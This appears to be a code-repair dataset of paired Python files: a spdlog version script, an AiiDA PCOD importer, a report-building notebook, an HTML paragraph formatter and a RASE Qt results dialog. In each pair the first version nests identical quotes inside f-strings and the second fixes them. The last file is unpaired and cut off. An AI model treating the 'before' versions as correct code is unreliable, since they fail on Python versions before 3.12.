#!/usr/bin/env python3
import os
import re
base_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
config_h = os.path.join(base_path, 'include', 'spdlog', 'version.h')
data = {'MAJOR': 0, 'MINOR': 0, 'PATCH': 0}
reg = re.compile(r'^\s*#define\s+SPDLOG_VER_([A-Z]+)\s+([0-9]+).*$')
with open(config_h, 'r') as fp:
for l in fp:
m = reg.match(l)
if m:
data[m.group(1)] = int(m.group(2))
print(f"{data["MAJOR"]}.{data["MINOR"]}.{data["PATCH"]}")
| #!/usr/bin/env python3
import os
import re
base_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
config_h = os.path.join(base_path, 'include', 'spdlog', 'version.h')
data = {'MAJOR': 0, 'MINOR': 0, 'PATCH': 0}
reg = re.compile(r'^\s*#define\s+SPDLOG_VER_([A-Z]+)\s+([0-9]+).*$')
with open(config_h, 'r') as fp:
for l in fp:
m = reg.match(l)
if m:
data[m.group(1)] = int(m.group(2))
print(f"{data['MAJOR']}.{data['MINOR']}.{data['PATCH']}")
|
# -*- coding: utf-8 -*-
###########################################################################
# Copyright (c), The AiiDA team. All rights reserved. #
# This file is part of the AiiDA code. #
# #
# The code is hosted on GitHub at https://github.com/aiidateam/aiida-core #
# For further information on the license, see the LICENSE.txt file #
# For further information please visit http://www.aiida.net #
###########################################################################
""""Implementation of `DbImporter` for the PCOD database."""
from aiida.tools.dbimporters.plugins.cod import CodDbImporter, CodSearchResults, CodEntry
class PcodDbImporter(CodDbImporter):
"""
Database importer for Predicted Crystallography Open Database.
"""
_keywords = {
'id': ['file', CodDbImporter._int_clause],
'element': ['element', CodDbImporter._composition_clause],
'number_of_elements': ['nel', CodDbImporter._int_clause],
'formula': ['formula', CodDbImporter._formula_clause],
'volume': ['vol', CodDbImporter._volume_clause],
'spacegroup': ['sg', CodDbImporter._str_exact_clause],
'a': ['a', CodDbImporter._length_clause],
'b': ['b', CodDbImporter._length_clause],
'c': ['c', CodDbImporter._length_clause],
'alpha': ['alpha', CodDbImporter._angle_clause],
'beta': ['beta', CodDbImporter._angle_clause],
'gamma': ['gamma', CodDbImporter._angle_clause],
'text': ['text', CodDbImporter._str_fuzzy_clause]
}
def __init__(self, **kwargs):
super().__init__(**kwargs)
self._db_parameters = {'host': 'www.crystallography.net', 'user': 'pcod_reader', 'passwd': '', 'db': 'pcod'}
self.setup_db(**kwargs)
def query_sql(self, **kwargs):
"""
Forms a SQL query for querying the PCOD database using
``keyword = value`` pairs, specified in ``kwargs``.
:return: string containing a SQL statement.
"""
sql_parts = []
for key in self._keywords:
if key in kwargs:
values = kwargs.pop(key)
if not isinstance(values, list):
values = [values]
sql_parts.append(f'({self._keywords[key][1](self, self._keywords[key][0], key, values)})')
if kwargs:
raise NotImplementedError(f"following keyword(s) are not implemented: {", ".join(kwargs.keys())}")
return f"SELECT file FROM data WHERE {" AND ".join(sql_parts)}"
def query(self, **kwargs):
"""
Performs a query on the PCOD database using ``keyword = value`` pairs,
specified in ``kwargs``.
:return: an instance of
:py:class:`aiida.tools.dbimporters.plugins.pcod.PcodSearchResults`.
"""
query_statement = self.query_sql(**kwargs)
self._connect_db()
results = []
try:
self._cursor.execute(query_statement)
self._db.commit()
for row in self._cursor.fetchall():
results.append({'id': str(row[0])})
finally:
self._disconnect_db()
return PcodSearchResults(results)
class PcodSearchResults(CodSearchResults): # pylint: disable=abstract-method
"""
Results of the search, performed on PCOD.
"""
_base_url = 'http://www.crystallography.net/pcod/cif/'
def __init__(self, results):
super().__init__(results)
self._return_class = PcodEntry
def _get_url(self, result_dict):
"""
Returns an URL of an entry CIF file.
:param result_dict: dictionary, describing an entry in the results.
"""
return f"{self._base_url + result_dict["id"][0]}/{result_dict["id"][0:3]}/{result_dict["id"]}.cif"
class PcodEntry(CodEntry): # pylint: disable=abstract-method
"""
Represents an entry from PCOD.
"""
_license = 'CC0'
def __init__(
self,
uri,
db_name='Predicted Crystallography Open Database',
db_uri='http://www.crystallography.net/pcod',
**kwargs
):
"""
Creates an instance of
:py:class:`aiida.tools.dbimporters.plugins.pcod.PcodEntry`, related
to the supplied URI.
"""
super().__init__(db_name=db_name, db_uri=db_uri, uri=uri, **kwargs)
| # -*- coding: utf-8 -*-
###########################################################################
# Copyright (c), The AiiDA team. All rights reserved. #
# This file is part of the AiiDA code. #
# #
# The code is hosted on GitHub at https://github.com/aiidateam/aiida-core #
# For further information on the license, see the LICENSE.txt file #
# For further information please visit http://www.aiida.net #
###########################################################################
""""Implementation of `DbImporter` for the PCOD database."""
from aiida.tools.dbimporters.plugins.cod import CodDbImporter, CodSearchResults, CodEntry
class PcodDbImporter(CodDbImporter):
"""
Database importer for Predicted Crystallography Open Database.
"""
_keywords = {
'id': ['file', CodDbImporter._int_clause],
'element': ['element', CodDbImporter._composition_clause],
'number_of_elements': ['nel', CodDbImporter._int_clause],
'formula': ['formula', CodDbImporter._formula_clause],
'volume': ['vol', CodDbImporter._volume_clause],
'spacegroup': ['sg', CodDbImporter._str_exact_clause],
'a': ['a', CodDbImporter._length_clause],
'b': ['b', CodDbImporter._length_clause],
'c': ['c', CodDbImporter._length_clause],
'alpha': ['alpha', CodDbImporter._angle_clause],
'beta': ['beta', CodDbImporter._angle_clause],
'gamma': ['gamma', CodDbImporter._angle_clause],
'text': ['text', CodDbImporter._str_fuzzy_clause]
}
def __init__(self, **kwargs):
super().__init__(**kwargs)
self._db_parameters = {'host': 'www.crystallography.net', 'user': 'pcod_reader', 'passwd': '', 'db': 'pcod'}
self.setup_db(**kwargs)
def query_sql(self, **kwargs):
"""
Forms a SQL query for querying the PCOD database using
``keyword = value`` pairs, specified in ``kwargs``.
:return: string containing a SQL statement.
"""
sql_parts = []
for key in self._keywords:
if key in kwargs:
values = kwargs.pop(key)
if not isinstance(values, list):
values = [values]
sql_parts.append(f'({self._keywords[key][1](self, self._keywords[key][0], key, values)})')
if kwargs:
raise NotImplementedError(f"following keyword(s) are not implemented: {', '.join(kwargs.keys())}")
return f"SELECT file FROM data WHERE {' AND '.join(sql_parts)}"
def query(self, **kwargs):
"""
Performs a query on the PCOD database using ``keyword = value`` pairs,
specified in ``kwargs``.
:return: an instance of
:py:class:`aiida.tools.dbimporters.plugins.pcod.PcodSearchResults`.
"""
query_statement = self.query_sql(**kwargs)
self._connect_db()
results = []
try:
self._cursor.execute(query_statement)
self._db.commit()
for row in self._cursor.fetchall():
results.append({'id': str(row[0])})
finally:
self._disconnect_db()
return PcodSearchResults(results)
class PcodSearchResults(CodSearchResults): # pylint: disable=abstract-method
"""
Results of the search, performed on PCOD.
"""
_base_url = 'http://www.crystallography.net/pcod/cif/'
def __init__(self, results):
super().__init__(results)
self._return_class = PcodEntry
def _get_url(self, result_dict):
"""
Returns an URL of an entry CIF file.
:param result_dict: dictionary, describing an entry in the results.
"""
return f"{self._base_url + result_dict['id'][0]}/{result_dict['id'][0:3]}/{result_dict['id']}.cif"
class PcodEntry(CodEntry): # pylint: disable=abstract-method
"""
Represents an entry from PCOD.
"""
_license = 'CC0'
def __init__(
self,
uri,
db_name='Predicted Crystallography Open Database',
db_uri='http://www.crystallography.net/pcod',
**kwargs
):
"""
Creates an instance of
:py:class:`aiida.tools.dbimporters.plugins.pcod.PcodEntry`, related
to the supplied URI.
"""
super().__init__(db_name=db_name, db_uri=db_uri, uri=uri, **kwargs)
|
# To add a new cell, type '# %%'
# To add a new markdown cell, type '# %% [markdown]'
# %%
import os
from functools import partial
# %%
from matplotlib import pyplot as plt
import matplotlib
import pandas as pd
from numpy import unique
# %%
from model_analysis import *
# %% [markdown]
# ### Loading data
# %%
run_manifest = read_manifest('run-manifest.csv')
analysis_set = get_analysis_set(run_manifest)
# %%
def add_to_zone_dict(zone_dict, row, i, zone):
zone_dict[zone] = {
"index": i,
"date": row["last available data"],
"version": row["version"],
}
zone_dict = {}
for i, row in analysis_set.iterrows():
for zone in row["modelling zones"]:
if zone not in zone_dict:
add_to_zone_dict(zone_dict, row, i, zone)
elif (zone_dict[zone]["date"] < row["last available data"])\
or (zone_dict[zone]["date"] == row["last available data"]
and zone_dict[zone]["version"] < row["version"]):
add_to_zone_dict(zone_dict, row, i, zone)
# %%
indices = unique([zone_dict[d]['index'] for d in zone_dict])
country_2_region = {}
for idx in indices:
for country in analysis_set.loc[idx,].model.data['ifr']['country'].unique():
country_2_region[country] = {}
for _, row in analysis_set.loc[idx,].model.data['ifr'].iterrows():
country_2_region[row['country']][row['region']] = zone_dict[row['region']]['index']
# %% [markdown]
# ## Plotting functions
# %% [markdown]
# First we define a custom process that will print for each zone.
# %%
def print_zone(file_in, img_dir, file_dir, zone, zone_dict, model_data, title_ext="", img_ext=".png"):
img_file = os.path.join(img_dir, (zone + '_' + zone_dict['date'].strip() + img_ext).replace(" ", "_"))
unix_rel_img_path = os.path.relpath(img_file, file_dir).replace('\\','/')
file_in.write(
f"### {zone}{title_ext} \n\n Latest simulation on data from {zone_dict["date"]}"
+ f" with version {zone_dict["version"]} \n\n \n\n"
)
axs = plot_zones_summary(zone, model_data)
axs[0].figure.savefig(img_file, bbox_inches='tight')
# %% [markdown]
# And then we apply this function to every zone that has been identified.
# %%
def apply_process_to_data(
process_func, country_2_region, analysis_set, zone_dict,
display_func=lambda x:display(Markdown(x))):
display_func("# Country reports\n")
for country in country_2_region:
display_func(f"## {country}\n")
if country in country_2_region[country]:
idx = zone_dict[country]['index']
process_func(
country, zone_dict[country],
analysis_set.loc[idx, 'model'].data,
title_ext=" - (country)")
for zone in sorted([z for z in country_2_region[country]]):
if zone != country:
idx = zone_dict[zone]['index']
process_func(
zone, zone_dict[zone],
analysis_set.loc[idx, 'model'].data)
# %%
report_dir = os.path.join('reports', 'all_zone_report')
img_dir = os.path.join(report_dir, 'img')
os.makedirs(report_dir, exist_ok=True)
os.makedirs(img_dir, exist_ok=True)
report_file = os.path.join(report_dir, "all_zone_report.md")
with open(report_file, "w", encoding="utf-8") as file_in:
print_partial = partial(print_zone, file_in, img_dir, report_dir)
apply_process_to_data(
print_partial, country_2_region, analysis_set, zone_dict,
file_in.write)
| # To add a new cell, type '# %%'
# To add a new markdown cell, type '# %% [markdown]'
# %%
import os
from functools import partial
# %%
from matplotlib import pyplot as plt
import matplotlib
import pandas as pd
from numpy import unique
# %%
from model_analysis import *
# %% [markdown]
# ### Loading data
# %%
run_manifest = read_manifest('run-manifest.csv')
analysis_set = get_analysis_set(run_manifest)
# %%
def add_to_zone_dict(zone_dict, row, i, zone):
zone_dict[zone] = {
"index": i,
"date": row["last available data"],
"version": row["version"],
}
zone_dict = {}
for i, row in analysis_set.iterrows():
for zone in row["modelling zones"]:
if zone not in zone_dict:
add_to_zone_dict(zone_dict, row, i, zone)
elif (zone_dict[zone]["date"] < row["last available data"])\
or (zone_dict[zone]["date"] == row["last available data"]
and zone_dict[zone]["version"] < row["version"]):
add_to_zone_dict(zone_dict, row, i, zone)
# %%
indices = unique([zone_dict[d]['index'] for d in zone_dict])
country_2_region = {}
for idx in indices:
for country in analysis_set.loc[idx,].model.data['ifr']['country'].unique():
country_2_region[country] = {}
for _, row in analysis_set.loc[idx,].model.data['ifr'].iterrows():
country_2_region[row['country']][row['region']] = zone_dict[row['region']]['index']
# %% [markdown]
# ## Plotting functions
# %% [markdown]
# First we define a custom process that will print for each zone.
# %%
def print_zone(file_in, img_dir, file_dir, zone, zone_dict, model_data, title_ext="", img_ext=".png"):
img_file = os.path.join(img_dir, (zone + '_' + zone_dict['date'].strip() + img_ext).replace(" ", "_"))
unix_rel_img_path = os.path.relpath(img_file, file_dir).replace('\\','/')
file_in.write(
f"### {zone}{title_ext} \n\n Latest simulation on data from {zone_dict['date']}"
+ f" with version {zone_dict['version']} \n\n \n\n"
)
axs = plot_zones_summary(zone, model_data)
axs[0].figure.savefig(img_file, bbox_inches='tight')
# %% [markdown]
# And then we apply this function to every zone that has been identified.
# %%
def apply_process_to_data(
process_func, country_2_region, analysis_set, zone_dict,
display_func=lambda x:display(Markdown(x))):
display_func("# Country reports\n")
for country in country_2_region:
display_func(f"## {country}\n")
if country in country_2_region[country]:
idx = zone_dict[country]['index']
process_func(
country, zone_dict[country],
analysis_set.loc[idx, 'model'].data,
title_ext=" - (country)")
for zone in sorted([z for z in country_2_region[country]]):
if zone != country:
idx = zone_dict[zone]['index']
process_func(
zone, zone_dict[zone],
analysis_set.loc[idx, 'model'].data)
# %%
report_dir = os.path.join('reports', 'all_zone_report')
img_dir = os.path.join(report_dir, 'img')
os.makedirs(report_dir, exist_ok=True)
os.makedirs(img_dir, exist_ok=True)
report_file = os.path.join(report_dir, "all_zone_report.md")
with open(report_file, "w", encoding="utf-8") as file_in:
print_partial = partial(print_zone, file_in, img_dir, report_dir)
apply_process_to_data(
print_partial, country_2_region, analysis_set, zone_dict,
file_in.write)
|
'''
Any file within the no_import_common_class folder is for methods that can be
imported safely (without circular dependencies) into the classes in
the common class folder.
These methods are specific to category pages
'''
import constants.file_paths as file_paths
RESUME = 'resume'
NOT_RESUME = ('exercise', 'flashcard', 'amanda')
def add_paragraphs_by_group_to_context(context, paragraphs):
'''
add_paragraphs_by_group_to_context reformats data to save work in the template
:param context: original context, minus what was needed for para retrieval
:type context: dict
:param paragraphs: paragraphs by group list before adding to context
:type paragraphs: dict
:return: context - will be used in various category templates
:rtype: dict
'''
context['title'] = paragraphs['title']
if 'side_menu' in paragraphs.keys():
context['side_menu'] = paragraphs['side_menu']
elif 'hidden_flashcard_divs' in paragraphs.keys():
context['hidden_flashcard_divs'] = paragraphs['hidden_flashcard_divs']
context['groups'] = paragraphs['groups']
return context
def flashcard_paragraph_layout(paras, collapse_id, ref_links, cat_type='flashcard'):
'''
flashcard_paragraph_layout this will display the first paragraph and then do collapse for the other
paragraphs
:param paragraphs: array of paragraphs
:type paragraphs: list
'''
first_para = paras.pop(0)
html_output = format_one_para(first_para, cat_type)
html_output += flashcard_wrap_answer(paras, collapse_id, ref_links)
return html_output
def flashcard_wrap_answer(paragraphs, collapse_id, ref_links, cat_type='flashcard'):
'''
flashcard_wrap_answer wraps the answers in an accordian wrapper
:param paragraphs: all the paragraphs minus the first one
:type paragraphs: list of dicts
:param collapse_id: the id of the collapsable div
:type collapse_id: str
:param cat_type: type of cateogory, this should always be flashcard, defaults to 'flashcard'
:type cat_type: str, optional
'''
return('<div id="accordion">'
'<div class="card">'
'<div class="card-header collapsed card-link" data-toggle="collapse"'
f'data-target="#{collapse_id}"">'
'<div>Toggle Answer</div></div>'
f'<div id={collapse_id} class="collapse" data-parent="#accordion">'
'<div class="card-body">'
f'{paragraphs_for_category_pages(paragraphs, cat_type, ref_links)}</div>'
'</div></div></div>')
def paragraphs_for_category_pages(paragraphs, cat_type, ref_links=''):
'''
paragraphs_for_category_pages concatenates paragraphs into a string
:param paragraphs: all the paragraphs as processed for display
:type paragraphs: dict
:return: all the paragraph html concatenated into big string
:rtype: str
'''
html_output = ''
for para in paragraphs:
html_output += format_one_para(para, cat_type)
if cat_type == 'flashcard':
html_output += '<h5>References</h5>'
html_output += ref_links
return html_output
def format_one_para(para, cat_type):
'''
format_one_para adds html coding here, because it is simpler than adding it in
templates
:param para: a paragraph field after it gets formatted like in basic display_paragraphs
:type para: dict
:param cat_type: type of category, for example flashcard, resume or exercise
:type cat_type: string
:return: html that will be added to the group to be output by the appropriate category displayer
:rtype: str
'''
html_output = ''
if para['subtitle']:
html_output += f'<h5><strong>{para['subtitle']}</strong></h5>'
if para['subtitle_note'] and cat_type in NOT_RESUME:
html_output += f'<p>{para['subtitle_note']}</p>'
if para['image_path']:
html_output += '<div class="text-center">'
html_output += '<img class="' + para['image_classes'] + '" '
html_output += 'src="' + file_paths.S3_CLOUDFRONT + para['image_path'] + '" '
html_output += 'alt="' + para['image_alt'] + '">'
html_output += '</div>'
html_output += para['text']
if para['subtitle_note'] and cat_type == RESUME:
html_output += f'<p>{para['subtitle_note']}</p>'
return html_output
| '''
Any file within the no_import_common_class folder is for methods that can be
imported safely (without circular dependencies) into the classes in
the common class folder.
These methods are specific to category pages
'''
import constants.file_paths as file_paths
RESUME = 'resume'
NOT_RESUME = ('exercise', 'flashcard', 'amanda')
def add_paragraphs_by_group_to_context(context, paragraphs):
'''
add_paragraphs_by_group_to_context reformats data to save work in the template
:param context: original context, minus what was needed for para retrieval
:type context: dict
:param paragraphs: paragraphs by group list before adding to context
:type paragraphs: dict
:return: context - will be used in various category templates
:rtype: dict
'''
context['title'] = paragraphs['title']
if 'side_menu' in paragraphs.keys():
context['side_menu'] = paragraphs['side_menu']
elif 'hidden_flashcard_divs' in paragraphs.keys():
context['hidden_flashcard_divs'] = paragraphs['hidden_flashcard_divs']
context['groups'] = paragraphs['groups']
return context
def flashcard_paragraph_layout(paras, collapse_id, ref_links, cat_type='flashcard'):
'''
flashcard_paragraph_layout this will display the first paragraph and then do collapse for the other
paragraphs
:param paragraphs: array of paragraphs
:type paragraphs: list
'''
first_para = paras.pop(0)
html_output = format_one_para(first_para, cat_type)
html_output += flashcard_wrap_answer(paras, collapse_id, ref_links)
return html_output
def flashcard_wrap_answer(paragraphs, collapse_id, ref_links, cat_type='flashcard'):
'''
flashcard_wrap_answer wraps the answers in an accordian wrapper
:param paragraphs: all the paragraphs minus the first one
:type paragraphs: list of dicts
:param collapse_id: the id of the collapsable div
:type collapse_id: str
:param cat_type: type of cateogory, this should always be flashcard, defaults to 'flashcard'
:type cat_type: str, optional
'''
return('<div id="accordion">'
'<div class="card">'
'<div class="card-header collapsed card-link" data-toggle="collapse"'
f'data-target="#{collapse_id}"">'
'<div>Toggle Answer</div></div>'
f'<div id={collapse_id} class="collapse" data-parent="#accordion">'
'<div class="card-body">'
f'{paragraphs_for_category_pages(paragraphs, cat_type, ref_links)}</div>'
'</div></div></div>')
def paragraphs_for_category_pages(paragraphs, cat_type, ref_links=''):
'''
paragraphs_for_category_pages concatenates paragraphs into a string
:param paragraphs: all the paragraphs as processed for display
:type paragraphs: dict
:return: all the paragraph html concatenated into big string
:rtype: str
'''
html_output = ''
for para in paragraphs:
html_output += format_one_para(para, cat_type)
if cat_type == 'flashcard':
html_output += '<h5>References</h5>'
html_output += ref_links
return html_output
def format_one_para(para, cat_type):
'''
format_one_para adds html coding here, because it is simpler than adding it in
templates
:param para: a paragraph field after it gets formatted like in basic display_paragraphs
:type para: dict
:param cat_type: type of category, for example flashcard, resume or exercise
:type cat_type: string
:return: html that will be added to the group to be output by the appropriate category displayer
:rtype: str
'''
html_output = ''
if para['subtitle']:
html_output += f'<h5><strong>{para["subtitle"]}</strong></h5>'
if para['subtitle_note'] and cat_type in NOT_RESUME:
html_output += f'<p>{para["subtitle_note"]}</p>'
if para['image_path']:
html_output += '<div class="text-center">'
html_output += '<img class="' + para['image_classes'] + '" '
html_output += 'src="' + file_paths.S3_CLOUDFRONT + para['image_path'] + '" '
html_output += 'alt="' + para['image_alt'] + '">'
html_output += '</div>'
html_output += para['text']
if para['subtitle_note'] and cat_type == RESUME:
html_output += f'<p>{para["subtitle_note"]}</p>'
return html_output
|
###############################################################################
# Copyright (c) 2018-2021 Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory
#
# Written by J. Chavez, S. Czyz, G. Kosinovsky, V. Mozin, S. Sangiorgio.
# RASE-support@llnl.gov.
#
# LLNL-CODE-819515
#
# All rights reserved.
#
# This file is part of RASE.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
# of the Software, and to permit persons to whom the Software is furnished to do
# so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED,INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
# COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
# IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
###############################################################################
"""
This module displays the complete summary of replay results and subsequent analysis
"""
import logging
import traceback
import re
import pandas as pd
from collections import Counter
from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar
from matplotlib.backends.backend_qt5agg import FigureCanvas
from matplotlib.figure import Figure
import seaborn as sns
from PyQt5.QtCore import pyqtSlot, QAbstractTableModel, Qt, QSize, QPoint
from PyQt5.QtGui import QColor, QAbstractTextDocumentLayout, QTextDocument, QKeySequence
from PyQt5.QtWidgets import QDialog, QMessageBox, QHeaderView, QFileDialog, QCheckBox, QVBoxLayout, QDialogButtonBox, \
QStyledItemDelegate, QApplication, QStyle, QAction, QMenu, QTableWidget, QTableWidgetItem, QWidget
from src.plotting import ResultPlottingDialog, Result3DPlottingDialog
from src.table_def import Scenario, Detector, Session
from .ui_generated import ui_results_dialog
from src.detailed_results_dialog import DetailedResultsDialog
from src.correspondence_table_dialog import CorrespondenceTableDialog
from src.manage_weights_dialog import ManageWeightsDialog
from src.rase_settings import RaseSettings
NUM_COL = 16
INST_REPL, SCEN_ID, SCEN_DESC, ACQ_TIME, REPL, INFL, PD, PD_CI, TP, FP, FN, CANDC, CANDC_CI, PRECISION, RECALL, \
FSCORE = range(NUM_COL)
# color scale from https://colorbrewer2.org/#type=diverging&scheme=RdYlGn&n=11
STOPLIGHT_COLORS = ['#a50026','#d73027','#f46d43','#fdae61','#fee08b','#ffffbf','#d9ef8b','#a6d96a','#66bd63','#1a9850','#006837']
class ResultsTableModel(QAbstractTableModel):
"""Table Model for the Identification Results
The underline data is the pandas dataframe produced in rase.py.
The input dataframe is copied as some of the formatting applied does not need to propagate to the original
:param data: the new input pandas dataframe from the identification results analysis
"""
def __init__(self, data):
super(ResultsTableModel, self).__init__()
self._data = data.copy()
self.col_settings = RaseSettings().getResultsTableSettings()
self._reformat_data()
def _reformat_data(self):
"""
Reformat underlying data for prettier display and downselect only the columns requested by the user
"""
self._data['Det/Replay'] = self._data['Det'] + '/' + self._data['Replay']
self._data['PID CI'] = [str(round(abs(l), 2)) + ' - ' + str(round(h, 2)) for h, l in zip(self._data['PID_H'], self._data['PID_L'])]
self._data['C&C CI'] = [str(round(abs(l), 2)) + ' - ' + str(round(h, 2)) for h, l in zip(self._data['C&C_H'], self._data['C&C_L'])]
# self._data.drop(columns=['Det', 'Replay', 'PID_L', 'PID_H', 'C&C_L', 'C&C_H'], inplace=True)
mat_cols = [s for s in self._data.columns.to_list() if (s.startswith('Dose_') or s.startswith('Flux_'))]
bkg_cols = [s for s in self._data.columns.to_list() if (s.startswith('BkgDose_') or s.startswith('BkgFlux_'))]
cols = ['Det/Replay', 'Scen Desc'] + mat_cols + bkg_cols + ['Infl', 'AcqTime', 'Repl',
'PID', 'PID CI', 'C&C', 'C&C CI', 'TP', 'FP', 'FN', 'Precision', 'Recall', 'F_Score',
'wTP', 'wFP', 'wFN', 'wPrecision', 'wRecall', 'wF_Score']
if self.col_settings:
cols = [c for c in cols if (c.startswith('Dose') or c.startswith('BkgDose')
or c.startswith('Flux') or c.startswith('BkgFlux')) or c in self.col_settings]
if 'Dose' not in self.col_settings:
cols = [c for c in cols if not c.startswith('Dose')]
if 'Background Dose' not in self.col_settings:
cols = [c for c in cols if not c.startswith('BkgDose')]
if 'Flux' not in self.col_settings:
cols = [c for c in cols if not c.startswith('Flux')]
if 'Background Flux' not in self.col_settings:
cols = [c for c in cols if not c.startswith('BkgFlux')]
self._data = self._data[cols]
# self._data = self._data.rename(columns={'PID':'Prob. ID'})
def reset_data(self, data):
"""
Reset and reformat the data.
Should be called always after the data have been recomputed or columns selection changed
:param data: the new input pandas dataframe from the identification results analysis
"""
self.layoutAboutToBeChanged.emit()
self._data = data.copy()
self.col_settings = RaseSettings().getResultsTableSettings()
self._reformat_data()
self.layoutChanged.emit()
def data(self, index, role):
if role == Qt.DisplayRole:
value = self._data.iloc[index.row(), index.column()]
if isinstance(value, float):
return f'{value:.3g}'
else:
return str(value)
if role == Qt.DecorationRole:
# stopchart blocks
if self._data.columns[index.column()] in ['PID', 'C&C', 'F_Score', 'wF_Score']:
value = self._data.iloc[index.row(), index.column()]
if value < 0: value = 0
if value > 1: value = 1
value = int(value * (len(STOPLIGHT_COLORS) -1))
return QColor(STOPLIGHT_COLORS[value])
if role == Qt.TextAlignmentRole:
return Qt.AlignCenter
def rowCount(self, index):
return self._data.shape[0]
def columnCount(self, index):
return self._data.shape[1]
def headerData(self, section, orientation, role):
# section is the index of the column/row.
if role == Qt.DisplayRole:
if orientation == Qt.Horizontal:
h = str(self._data.columns[section]).split('_')
if h[0] == "Dose" or h[0] == "BkgDose" or h[0] == "Flux" or h[0] == "BkgFlux":
desc = "".join(h[1:]).split('-')
return f'{h[0]}\n{desc[0]}\n{''.join(desc[1:])}'
else:
return str(self._data.columns[section])
if orientation == Qt.Vertical:
return str(self._data.index[section].split("*")[0])
if role == Qt.UserRole:
if orientation == Qt.Vertical:
return str(self._data.index[section])
def sort(self, column: int, order: Qt.SortOrder = ...) -> None:
self.layoutAboutToBeChanged.emit()
if len(self._data.columns):
self._data.sort_values(by=[self._data.columns[column]],
ascending=not order, inplace=True)
self.layoutChanged.emit()
def scenario_desc_col_index(self):
if 'Scen Desc' in self._data.columns:
return self._data.columns.values.tolist().index('Scen Desc')
return None
class ViewResultsDialog(ui_results_dialog.Ui_dlgResults, QDialog):
"""Dialog to display identification results and select variables for plotting
:param parent: the parent dialog
"""
def __init__(self, parent, scenIds, detNames):
QDialog.__init__(self, parent)
self.setupUi(self)
self.parent = parent
comboList = ['', 'Det', 'Replay', 'Source Dose', 'Source Flux', 'Background Dose', 'Background Flux', 'Infl',
'AcqTime', 'Repl', 'PID', 'C&C', 'TP', 'FP', 'FN', 'Precision', 'Recall', 'F_Score', 'wTP', 'wFP',
'wFN', 'wPrecision', 'wRecall', 'wF_Score']
self.cmbXaxis.addItems(comboList)
self.cmbYaxis.addItems(comboList)
comboList = ['', 'PID', 'C&C', 'TP', 'FP', 'FN', 'Precision', 'Recall', 'F_Score', 'wTP', 'wFP', 'wFN',
'wPrecision', 'wRecall', 'wF_Score']
self.cmbZaxis.addItems(comboList)
comboList = ['', 'Det', 'Replay', 'Source Material', 'Background Material', 'Infl', 'AcqTime', 'Repl',
'PID', 'C&C', 'TP', 'FP', 'FN', 'Precision', 'Recall', 'F_Score', 'wTP', 'wFP', 'wFN',
'wPrecision', 'wRecall', 'wF_Score']
self.cmbGroupBy.addItems(comboList)
self.cmbGroupBy.setEnabled(False)
self.matNames_dose = ["".join(s.split("_")[1:]) for s in self.parent.scenario_stats_df.columns.to_list()
if s.startswith('Dose_')]
self.matNames_flux = ["".join(s.split("_")[1:]) for s in self.parent.scenario_stats_df.columns.to_list()
if s.startswith('Flux_')]
self.bkgmatNames_dose = ["".join(s.split("_")[1:]) for s in self.parent.scenario_stats_df.columns.to_list()
if s.startswith('BkgDose_')]
self.bkgmatNames_flux = ["".join(s.split("_")[1:]) for s in self.parent.scenario_stats_df.columns.to_list()
if s.startswith('BkgFlux_')]
self.names_dict = {'Source Dose':self.matNames_dose, 'Source Flux': self.matNames_flux,
'Background Dose': self.bkgmatNames_dose, 'Background Flux': self.bkgmatNames_flux}
self.btnViewPlot.setEnabled(False)
self.btnFreqAnalysis.setEnabled(False)
self.btnClose.clicked.connect(self.closeSelected)
self.buttonExport.clicked.connect(self.handleExport)
self.buttonCorrTable.clicked.connect(lambda: self.openCorrTable(scenIds, detNames))
self.buttonManageWeights.clicked.connect(lambda: self.openWeightsTable(scenIds, detNames))
self.btnFreqAnalysis.clicked.connect(self.show_freq_results)
self.results_model = ResultsTableModel(self.parent.scenario_stats_df)
self.tblResView.setModel(self.results_model)
self.tblResView.doubleClicked.connect(self.showDetailView)
self.tblResView.setContextMenuPolicy(Qt.CustomContextMenu)
self.tblResView.setSortingEnabled(True)
if self.results_model.scenario_desc_col_index() is not None:
self.tblResView.setItemDelegateForColumn(self.results_model.scenario_desc_col_index(), HtmlDelegate())
self.tblResView.resizeColumnsToContents()
self.tblResView.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
self.tblResViewSelect = self.tblResView.selectionModel()
self.tblResViewSelect.selectionChanged.connect(self.btnFreqAnalysis_change_status)
def openCorrTable(self, scenIds, detNames):
"""
Launches Correspondence Table Dialog
"""
CorrespondenceTableDialog().exec_()
self.parent.settings.setIsAfterCorrespondenceTableCall(True)
self.parent.calculateScenarioStats(caller=self, selected_scenarios=scenIds,
selected_detectors=detNames)
self.results_model.reset_data(self.parent.scenario_stats_df)
def openWeightsTable(self, scenIds, detNames):
"""
Launches Correspondence Table Dialog
"""
ManageWeightsDialog().exec_()
self.parent.calculateScenarioStats(caller=self, selected_scenarios=scenIds,
selected_detectors=detNames)
self.results_model.reset_data(self.parent.scenario_stats_df)
def handleExport(self):
"""
Exports Results Dataframe to CSV format
"""
path = QFileDialog.getSaveFileName(self, 'Save File', RaseSettings().getDataDirectory(), 'CSV (*.csv)')
if path[0]:
df = self.parent.scenario_stats_df.copy()
df['Scen Desc'] = df['Scen Desc'].apply(lambda x: re.sub('<[^<]+?>', '', x))
df.to_csv(path[0])
def closeSelected(self):
"""
Closes Dialog
"""
super().accept()
def showDetailView(self, index):
scen_det_key = self.results_model.headerData(index.row(), Qt.Vertical, Qt.UserRole)
resultMap = self.parent.result_super_map[scen_det_key]
